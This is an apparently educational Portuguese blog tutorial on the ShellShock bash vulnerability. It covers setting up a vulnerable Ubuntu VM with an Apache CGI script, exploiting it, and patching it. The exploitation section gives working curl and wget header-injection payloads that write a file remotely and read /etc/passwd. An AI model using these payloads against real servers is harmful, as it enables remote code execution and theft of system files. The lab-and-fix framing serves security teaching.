Tutorial
ShellShock
() { :; } ;
O autor deste documento entende que este tutorial serve apenas para demonstrar a exploração da vulnerabilidade ShellShock (CVE-2014-6271) e a sua respetiva correção. Não sendo responsável pelo uso inadequado do mesmo.
I. INTRODUÇÃO
Neste tutorial é demonstrado como configurar um servidor vulnerável a esta falha e explora-lo remota-mente. O ambiente Linux (Ubunto Server 14.04) foi o escolhido para a realização da experiência.
II. CONCEITOS IMPORTANTES
- ShellShock é uma vulnerabilidade que afeta o interpretador de comandos de sistemas Linux (BashShell), o que significa que uma pessoa mal intencionada, aproveitando-se desta falha, pode executar um comando arbitrário no sistema, o que pode provocar severos danos.
- CGI é um acrónimo de Common Gateway Interface. Basicamente é uma tecnologia que permite gerar páginas dinâmicas, permitindo a um navegador passar parâmetros para um programa alojado num servidor web. Assim, designam-se por scripts CGI os pequenos programas que interpretam esses parâmetros e geram a página depois de os processar. Para mais informações consultar, por favor, o seguinte endereço: http://pt.wikipedia.org/wiki/CGI.
III. SOFTWARE NECESSÁRIO
O Software utilizado neste ponto, passa por obter um gestor de máquinas virtuais, e uma imagem de um sistema operativo Linux, anterior a Agosto de 2014, em especifico será utilizado o seguinte software:
- VirtualBox: https://www.virtualbox.org/.
- Ubuntu Server 14.04 LTS: http://www.ubuntu.com/download/server.
Parte-se do princípio, que o leitor, instale este software, assim como a máquina virtual.
Para o correto funcionamento deste tutorial não faça atualizações no sistema operativo durante a instalação, assim como com ele já instalado na máquina virtual, pelo menos para já.
Execute o seguinte comando na sua máquina virtual:
echo $BASH_VERSION |
Se o output apresentado no terminal for ≤ 4.3.8(1), então significa que a versão do bash do sistema operativo é vulnerável.
Para verificar se o sistema é vulnerável, execute o seguinte comando:
env x='() { :;}; echo vulneravel’ bash -c ‘echo hello’ |
Caso vulneravel apareça no output então o sistema é vulnerável, e a partir de agora irá ser demonstrado como se pode aproveitar esta falha remotamente.


IV. Configuração da Máquina Virtual
A. Configuração da Rede
Para que a máquina virtual comunique com sistema operativo base do host, é necessário configurar a interface de rede como apresentado na imagem na figura abaixo.
Máquina → Definições → Rede
Ou simplesmente pressione: ctrl+s.
Aqui selecione em ’Associado a:’ Adaptador Bridged.

De seguida, reinicie a máquina virtual deforma a aplicar devidamente as alterações.
Caso consiga fazer ping do host para a máquina virtual pode prosseguir para o passo seguinte.
B. Configuração do Apache2 e Script CGI
Durante a instalação do sistema operativo na máquina virtual, caso tenha optado pelo Ubuntu Server e ignorado o passo da escolha dos serviços que pretendia instalar, pode sempre instalar o Apache2 assim como outros serviços para a correta concretização deste tutorial.
Para instalar o Apache2 faça:
sudo apt-get install apache2 |
É aconselhada a reinicialização da máquina virtual após a conclusão da instalação.
Para verificar que o Apache2 está a corretamente instalado pode simplesmente ir ao navegador de Internet do seu sistema nativo e digitar o endereço Ip da máquina virtual, caso esteja tudo correto irá apresentar a página por omissão do servidor Apache2.
Após estas verificações, pode ir para o passo seguinte, que é a configuração do Apache2 para este conseguir correr scripts CGI.
Para habilitar o uso de scripts CGI no Apache2 é necessário editar um ficheiro, digite:
sudo vim /etc/apache2/sites-available/000-default.conf |

Para introduzir o código no vim digite: i
Para sair e gravar as alterações no vim digite: Esc seguido de :wq

De seguida reinicie o Apache2, digitando:
sudo service apache2 restart |
Vá a /var/www/ e crie um ficheiro de nome teste.cgi, e introduza o código listado na seguinte imagem.
cd /var/www/html/ sudo vim teste.cgi |

De seguida, é necessário dar permissões de escrita e execução ao script.
sudo chmod 755 teste.cgi |
Para verificar se o script est á a funcionar, vá ao navegador de Internet do seu sistema nativo, digite o seguinte endereço: ipdasuaMaquinaVirtual/teste.cgi
Se tudo estiver correto no navegador de Internet será exibida a mensagem Isto eh um teste.
Neste momento, irá proceder-se à fase de exploração desta falha.
V. Exploração da Falha
Nesta secção, será demonstrado porque um servidor com estas caraterísticas, pode ser um alvo, e provocar-lhe os mais diversos efeitos, dependendo apenas da imaginação do ”atacante”.
Este ataque vai ser executado remotamente, através do host nativo será efetuado um ataque à máquina virtual vulnerável via protocolos GET e POST, ou seja irá apenas proceder-se a criação de um ficheiro na máquina virtual, via esta falha, e à obtencão de um ficheiro considerado ”crítico” do alvo, isto tudo remotamente, para isso serão usados os comandos curl, e wget, para mais informações sobre estes, recomenda-se a visualização da man page dos mesmos através dos comandos.
man curl man wget |
Execute o código abaixo e veja que não existe qualquer tipo de ficheiro nesta pasta.
cd /tmp/ ls |
Devido à extensão dos códigos considere:
*endereco = “http://ipdaMaquinaVirtual/teste.cgi” |
De seguida, no seu sistema nativo, execute o seguinte código:
curl -H “Content-Type:() { :;}; echo invadido > /tmp/oi.txt” *endereco |
Criação de um ficheiro no sistema alvo na pasta em /tmp/oi.txt, remotamente, com o conteúdo invadido, para verificar execute:
cd /tmp/ ls cat oi.txt |
Obter o ficheiro /etc/passwd do sistema alvo, remotamente, para isso execute:
wget -U “() { :;};echo \”Content-type: text/plain\”; echo; echo; /bin/cat /etc/passwd” *endereco |
Este ficheiro terá o nome teste.cgi e estará na sua diretoria de utilizador no seu sistema nativo, para o visualizar execute:
cd ~ cat teste.cgi |
E assim ficou demonstrado porque o ShellShock pode ser perigoso.
VI. Resolução do Problema
A resolução deste problema é bastante simples, pois apenas implica que o administrador do sistema, atualize o seu sistema, sendo apenas necessário digitar os seguintes códigos:
sudo apt-get update sudo apt-get upgrade sudo apt-get dist-upgrade |
Pedro Tavares is a professional in the field of information security, working as an Ethical Hacker, Malware Analyst, Cybersecurity Analyst and also a Security Evangelist. He is also a founding member at CSIRT.UBI and Editor-in-Chief of the security computer blog seguranca-informatica.pt.
In recent years he has invested in the field of information security, exploring and analyzing a wide range of topics, such as pentesting (Kali Linux), malware, hacking, cybersecurity, IoT and security in computer networks. He is also Freelance Writer.
Read more here.